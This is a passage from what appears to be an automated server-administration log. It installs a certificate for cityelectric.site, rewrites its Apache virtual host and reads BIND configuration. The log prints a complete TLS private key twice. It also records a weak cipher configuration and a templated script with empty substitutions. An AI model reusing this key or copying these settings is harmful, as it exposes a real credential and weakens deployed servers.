PewaltIAltzbB5iK/D7RNFZgZPB/nhLB09iUtEfmJp+mtURbYHh+LhHgvCsYf+Og
4kOiXhWuWLHVTfisvKHwMTh19KFJJUAJlc1n7iMoaCsTDBH5rglDTDgM2t5SlYbP
ua15M1qfe8g0Q7if8HqzTe7tbqwc3mjs01K3ebSIaUv2tf9dw/ouizwVrqaVShkY
j16TC7c7W3Lmrup5Wn9TouE6Q8A9OnVzzrPvvyZ2nDRy7U0G3+LRoiJWKO6IWKWJ
P3PIHSKfAgMBAAECggEAEfkgd5iXE7lsCosEEjLDb64gW4xOaaNPxqj7vnvtdbwu
U1Y5lWPVQAb3ZXbBotW2/P14N/ANw/X9a5OoFgQgkDYrI9GYglqLRWqJsnW7vfhK
sUsWnw1sB+07cip24GEucRtp3ijEkAuY77rowMYcmLhqfhf71p3cjy+RKqLqTj+Z
7ZSzNqwA5BVzI7K+6W7zCT35k0LWhxFfxc1FPbI0qX9BtQf3sr9uoz1lhbkBPOVY
iVdUTy40ZI5w0vuuUAti6573ccYbSODwu0Wf+TF6HaOGYQyjWFaJ5J5HJnOBk09U
SJ6jYLbvZehe9hVjaeBfr8YkhTO05QEK6VYy51QZcQKBgQD+gH1R519p7S/yRVVs
LEwIS+ByLSkTEHI9ysayCLMsMKy2k8lfFwWVdI6dirrbZYpMacV4VBLGmQeG28U9
73q3qeCooMZ9+DZJpULAHUqvsEzaVXcfZKd9/2YnR3AJcc7e+0q+ik8JGD6uNaCM
qQgkP4/U347o5+18Dayx/UtU4wKBgQD+Jf/ysiGVGCrBlNS0uoAt+95GTNZEZkZ+
HBCT0n6DrDR67rDITt5MqZq0YqxngpS4GE/8g/3Z58IepL3yGRRFibl0Hbsutapm
joQfIP//IqJO9B0VmQsuZzo2jxIXuXghSo7w7dKCzMBRf7llJKLVS8se0vOF+NSZ
Cw1q1mfkFQKBgHH20adyh1xktPq1J3poH6f7akdWh7UcwTuAaRdiI/Ge3khnx13I
blyttAtCC0ihoJt1JdMrOrkp35/5G8sPSRGjhZGdZSUVmCHEWi6zLzWbKd7/NHef
WA1o57KhH79q8isRtje6sYeuDqtuIjW6n4Wz3NGDRnhvGv5ZFUMi3K/nAoGBANvW
IORdA0GFaw6R38AJBvE/ydADjOATm+xf+FL1pCvfnHGt4EsUNaQYnVJle/35bQ0l
MqMZxU5k83wwQoGVAfz4meuAADbyO1iE9HI8yFN4MO+cpz/UZ2CXODqTXTIaY3hg
lu5+uTYdSEn28nYzz4ozCps6HB4J1FQhxFRi6/DVAoGALPJTrKWlggxFyC2/iE60
AJV5kuLWepG0TqUQm2nkUY+ZvIwidW61R46udeLa8ba7SqXUmZc9FL7JAglYl2dR
F9/AEenVMDIEDV0sN/qS0BZm0LUMoGqNcMQvQgULw9EQ7f+HHzVF6l08/jVkGZ+n
R/9JrM145g8jLST7tT5udYE=
-----END PRIVATE KEY-----
endmsg
cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
cp $chain_file /etc/ssl/certs/$CHAINTARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
rm $chain_file
2025-08-26 15:01:14:
chmod 755 /tmp/pkp316564; /tmp/pkp316564; rm /tmp/pkp316564
dir=/etc/ssl/certs
2025-08-26 15:01:15:
PUT: /tmp/pkp662049
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 15:01:15:
chmod 755 /tmp/pkp662049; /tmp/pkp662049; rm /tmp/pkp662049
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-08-26 15:01:16:
PUT: /tmp/pkp607408
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SSLCertificateChainFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi
2025-08-26 15:01:16:
chmod 755 /tmp/pkp607408; /tmp/pkp607408; rm /tmp/pkp607408
2025-08-26 15:01:17:
PUT: /tmp/pkp700556
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-26 15:01:17:
chmod 755 /tmp/pkp700556; /tmp/pkp700556; rm /tmp/pkp700556
.
2025-08-26 15:01:18: Establishing a remote connection
2025-08-26 15:01:19:
PUT: /tmp/pkp682726
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-26 15:01:19:
chmod 755 /tmp/pkp682726; /tmp/pkp682726; rm /tmp/pkp682726
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:2)
port 80 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
port 443 namevhost cityelectric.site (/etc/apache2/sites-enabled/cityelectric_www_site.conf:19)
port 443 namevhost desktop.pjy.us (/etc/apache2/sites-enabled/pjy_desktop_us.conf:21)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-08-26 15:01:20:
PUT: /tmp/pkp331976
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/cityelectric_www_site.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:01:20:
chmod 755 /tmp/pkp331976; /tmp/pkp331976; rm /tmp/pkp331976
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 1300
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SSLCertificateChainFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>
2025-08-26 15:01:21:
PUT: /tmp/pkp220561
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt')
show_file('/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:01:21:
chmod 755 /tmp/pkp220561; /tmp/pkp220561; rm /tmp/pkp220561
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt 3551
a1:41:c5:04:8a:e5:96:1a:82:90:c8:11:ee:4b:3c:b3
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBkWM6USfxunk26dvcWzNo+Z4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODI2MTQwMjQxWhcNMjUxMTI0MTQwMjQwWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAPypQ1yjyOK0UXzRd+KAzbmUJ6DtxFzJRoFqHL6i+dTRxHLn/8JbTIorrafR
0w862yNHV5tqg1m2fmI97BqW0gCW3NsHmIr8PtE0VmBk8H+eEsHT2JS0R+Ymn6a1
RFtgeH4uEeC8Kxh/46DiQ6JeFa5YsdVN+Ky8ofAxOHX0oUklQAmVzWfuIyhoKxMM
EfmuCUNMOAza3lKVhs+5rXkzWp97yDRDuJ/werNN7u1urBzeaOzTUrd5tIhpS/a1
/13D+i6LPBWuppVKGRiPXpMLtztbcuau6nlaf1Oi4TpDwD06dXPOs++/JnacNHLt
TQbf4tGiIlYo7ohYpYk/c8gdIp8CAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUfAKe5q80CHGSVolrs03zlmCQJccwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyMS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEA
dgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZjm5bheAAAEAwBH
MEUCIQCobZUmwo95bGxtOXfUQMfKgVFtatb5YtOdXTm4t60c7gIgLxbF1zAV5Tjz
PBn6/Cmhi7SJzLgP9UvIYMb9xPFlfNEAdwAS8U40vVNyTIQGGcOPP3oT+Oe1YoeI
nG0wBYTr5YYmOgAAAZjm5cBCAAAEAwBIMEYCIQCLv7XssVTVEGCvXCY2ZOWN7ERL
DRbJ2wAmouX1ZBlT4AIhAIgEGjCKmulf1kkBJnKtl3TmSldmeUznVmA2M40G0uNJ
MA0GCSqGSIb3DQEBCwUAA4IBAQAF079oZ6UVKMF/BCx8Jh6/kl2D+dCNWe4VyIWm
eZnKD0gPvkXM4QqW3klaOVDNJ4R89nd8ZFwc6Qb965An7aljSEmaP4MU38W9ysxd
S5RjDhnU3C/cVZo7r6X+69JRVT4+u4y2HqNSDWFIXoozUMyzUA5Y89nLOnf8dNlD
mEOi2ARLgJ4WRed0CFm9UIqTtlDDvIhX3ugpfxB+whuV7+7hG4adJfCtTRx8XH8V
gSQrzbywU+MrzezfpeVvzP+1Y/A28a2NkaRf7gOQTNONcFbUsMmbxFO3lhTmNSlh
Uk3Tg4ravV91I2AROJL+zHaIXIl3Rowt17DM3UVXKQiPugGq
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD8qUNco8jitFF8
0XfigM25lCeg7cRcyUaBahy+ovnU0cRy5//CW0yKK62n0dMPOtsjR1ebaoNZtn5i
PewaltIAltzbB5iK/D7RNFZgZPB/nhLB09iUtEfmJp+mtURbYHh+LhHgvCsYf+Og
4kOiXhWuWLHVTfisvKHwMTh19KFJJUAJlc1n7iMoaCsTDBH5rglDTDgM2t5SlYbP
ua15M1qfe8g0Q7if8HqzTe7tbqwc3mjs01K3ebSIaUv2tf9dw/ouizwVrqaVShkY
j16TC7c7W3Lmrup5Wn9TouE6Q8A9OnVzzrPvvyZ2nDRy7U0G3+LRoiJWKO6IWKWJ
P3PIHSKfAgMBAAECggEAEfkgd5iXE7lsCosEEjLDb64gW4xOaaNPxqj7vnvtdbwu
U1Y5lWPVQAb3ZXbBotW2/P14N/ANw/X9a5OoFgQgkDYrI9GYglqLRWqJsnW7vfhK
sUsWnw1sB+07cip24GEucRtp3ijEkAuY77rowMYcmLhqfhf71p3cjy+RKqLqTj+Z
7ZSzNqwA5BVzI7K+6W7zCT35k0LWhxFfxc1FPbI0qX9BtQf3sr9uoz1lhbkBPOVY
iVdUTy40ZI5w0vuuUAti6573ccYbSODwu0Wf+TF6HaOGYQyjWFaJ5J5HJnOBk09U
SJ6jYLbvZehe9hVjaeBfr8YkhTO05QEK6VYy51QZcQKBgQD+gH1R519p7S/yRVVs
LEwIS+ByLSkTEHI9ysayCLMsMKy2k8lfFwWVdI6dirrbZYpMacV4VBLGmQeG28U9
73q3qeCooMZ9+DZJpULAHUqvsEzaVXcfZKd9/2YnR3AJcc7e+0q+ik8JGD6uNaCM
qQgkP4/U347o5+18Dayx/UtU4wKBgQD+Jf/ysiGVGCrBlNS0uoAt+95GTNZEZkZ+
HBCT0n6DrDR67rDITt5MqZq0YqxngpS4GE/8g/3Z58IepL3yGRRFibl0Hbsutapm
joQfIP//IqJO9B0VmQsuZzo2jxIXuXghSo7w7dKCzMBRf7llJKLVS8se0vOF+NSZ
Cw1q1mfkFQKBgHH20adyh1xktPq1J3poH6f7akdWh7UcwTuAaRdiI/Ge3khnx13I
blyttAtCC0ihoJt1JdMrOrkp35/5G8sPSRGjhZGdZSUVmCHEWi6zLzWbKd7/NHef
WA1o57KhH79q8isRtje6sYeuDqtuIjW6n4Wz3NGDRnhvGv5ZFUMi3K/nAoGBANvW
IORdA0GFaw6R38AJBvE/ydADjOATm+xf+FL1pCvfnHGt4EsUNaQYnVJle/35bQ0l
MqMZxU5k83wwQoGVAfz4meuAADbyO1iE9HI8yFN4MO+cpz/UZ2CXODqTXTIaY3hg
lu5+uTYdSEn28nYzz4ozCps6HB4J1FQhxFRi6/DVAoGALPJTrKWlggxFyC2/iE60
AJV5kuLWepG0TqUQm2nkUY+ZvIwidW61R46udeLa8ba7SqXUmZc9FL7JAglYl2dR
F9/AEenVMDIEDV0sN/qS0BZm0LUMoGqNcMQvQgULw9EQ7f+HHzVF6l08/jVkGZ+n
R/9JrM145g8jLST7tT5udYE=
-----END PRIVATE KEY-----
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt 1806
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-08-26 15:09:38: Establishing a remote connection
2025-08-26 15:09:43: Establishing a connection
2025-08-26 15:09:43:
PUT: /tmp/pkp838079
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:09:44:
runuser -l bind -s /bin/bash -c '/tmp/pkp838079; rm /tmp/pkp838079'
2025-08-26 15:09:44:
2025-08-26 15:09:44:
PUT: /tmp/pkp130478
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
